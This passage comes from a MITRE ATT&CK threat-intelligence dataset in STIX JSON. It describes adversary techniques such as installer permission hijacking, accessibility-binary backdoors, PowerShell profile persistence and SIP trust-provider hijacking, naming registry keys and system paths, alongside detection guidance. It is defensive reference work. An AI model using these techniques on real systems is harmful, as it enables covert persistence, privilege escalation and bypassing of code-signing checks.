[Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Matt Burrough, @mattburrough, Microsoft", "Vinayak Wadhwa, SAFE Security"], "type": "attack-pattern", "id": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022", "created": "2022-08-09T13:01:43.314Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1593/003", "external_id": "T1593.003"}, {"source_name": "GitHub Cloud Service Credentials", "description": "Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.", "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.0.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Travis Smith, Tripwire", "Stefan Kanthak"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979", "type": "attack-pattern", "created": "2020-03-13T11:12:18.558Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1574.005", "url": "https://attack.mitre.org/techniques/T1574/005"}, {"source_name": "mozilla_sec_adv_2012", "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017."}, {"source_name": "Executable Installers are Vulnerable", "url": "https://seclists.org/fulldisclosure/2015/Dec/34", "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}], "modified": "2020-03-26T19:20:23.030Z", "name": "Executable Installer File Permissions Weakness", "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Service: Service Metadata", "File: File Modification", "File: File Creation", "Process: Process Creation", "Module: Module Load"], "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_effective_permissions": ["Administrator", "User", "SYSTEM"]}, {"modified": "2023-04-21T12:33:18.602Z", "name": "Accessibility Features", "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Paul Speulstra, AECOM Global Security Operations Center"], "x_mitre_deprecated": false, "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options</code>.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Creation", "File: File Modification", "Windows Registry: Windows Registry Key Modification"], "x_mitre_effective_permissions": ["SYSTEM"], "x_mitre_permissions_required": ["Administrator"], "type": "attack-pattern", "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "created": "2020-01-24T14:32:40.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1546/008", "external_id": "T1546.008"}, {"source_name": "Narrator Accessibility Abuse", "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.", "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"}, {"source_name": "FireEye Hikit Rootkit", "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"}, {"source_name": "DEFCON2016 Sticky Keys", "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.", "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"}, {"source_name": "Tilbury 2014", "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Allen DeRyke, ICE"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--723e3a2b-ca0d-4daa-ada8-82ea35d3733a", "type": "attack-pattern", "created": "2019-06-14T18:53:49.472Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1504", "url": "https://attack.mitre.org/techniques/T1504"}, {"source_name": "Microsoft About Profiles", "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6", "description": "Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019."}, {"source_name": "ESET Turla PowerShell May 2019", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}, {"source_name": "Wits End and Shady PowerShell Profiles", "url": "https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html", "description": "DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege Elevation using the Powershell Profile. Retrieved July 8, 2019."}, {"url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "source_name": "Malware Archaeology PowerShell Cheat Sheet"}], "modified": "2020-01-24T15:11:53.430Z", "name": "PowerShell Profile", "description": "Adversaries may gain persistence and elevate privileges in certain situations by abusing [PowerShell](https://attack.mitre.org/techniques/T1086) profiles. A PowerShell profile  (<code>profile.ps1</code>) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the <code>-NoProfile</code> flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n\n* <code>$PsHome\\Profile.ps1</code>\n* <code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>\n\nMonitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User", "Administrator"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matt Graeber, @mattifestation, SpecterOps"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31", "type": "attack-pattern", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1198", "url": "https://attack.mitre.org/techniques/T1198"}, {"url": "https://msdn.microsoft.com/library/ms537359.aspx", "description": "Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.", "source_name": "Microsoft Authenticode"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx", "description": "Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.", "source_name": "Microsoft WinVerifyTrust"}, {"url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.", "source_name": "SpectorOps Subverting Trust Sept 2017"}, {"url": "https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/", "description": "Navarro, E. (2008, July 11). SIP\u2019s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.", "source_name": "EduardosBlog SIPs July 2008"}, {"url": "https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files", "description": "Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.", "source_name": "Microsoft Catalog Files and Signatures April 2017"}, {"url": "https://github.com/mattifestation/PoCSubjectInterfacePackage", "description": "Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.", "source_name": "GitHub SIP POC Sept 2017"}, {"url": "http://www.entrust.net/knowledge-base/technote.cfm?tn=8165", "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.", "source_name": "Entrust Enable CAPI2 Aug 2017"}, {"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)", "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.", "source_name": "Microsoft Registry Auditing Aug 2016"}, {"url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)", "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.", "source_name": "Microsoft Audit Registry July 2012"}], "modified": "2020-02-05T19:35:58.954Z", "name": "SIP and Trust Provider Hijacking", "description": "In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Application whitelisting", "Autoruns Analysis", "Digital Certificate Validation", "Process whitelisting", "User Mode Signature Validation"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2024-01-12T23:36:56.245Z", "name": "Account Discovery", "description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "discovery"}], "x_mitre_contributors": ["Daniel Stepanic, Elastic", "Microsoft Threat Intelligence Center (MSTIC)", "Travis Smith, Tripwire"], "x_mitre_deprecated": false, "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "File: File Access"], "type": "attack-pattern", "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "created": "2017-05-31T21:31:06.988Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1087", "external_id": "T1087"}, {"source_name": "AWS List Users", "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.", "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"}, {"source_name": "Google Cloud - IAM Servie Accounts List API", "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.", "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"}, {"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Jon Sheedy", "Heather Linn", "Walker Johnson"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "type": "attack-pattern", "created": "2017-05-31T21:31:08.479Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1090", "url": "https://attack.mitre.org/techniques/T1090"}, {"url": "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.", "source_name": "Trend Micro APT Attack Tools"}, {"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "source_name": "University of Birmingham C2"}], "modified": "2021-08-30T19:16:11.648Z", "name": "Proxy", "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.\n\nAdversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nConsider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).", "x_mitre_version": "3.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation"], "x_mitre_is_subtechnique": false}, {"modified": "2023-03-27T16:43:58.795Z", "name": "Command and Scripting Interpreter", "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network", "Office 365", "Azure AD", "IaaS", "Google Workspace"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["Script: Script Execution", "Process: Process Creation", "Process: Process Metadata", "Module: Module Load", "Command: Command Execution"], "x_mitre_remote_support": true, "type": "attack-pattern", "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "created": "2017-05-31T21:30:49.546Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059", "external_id": "T1059"}, {"source_name": "Remote 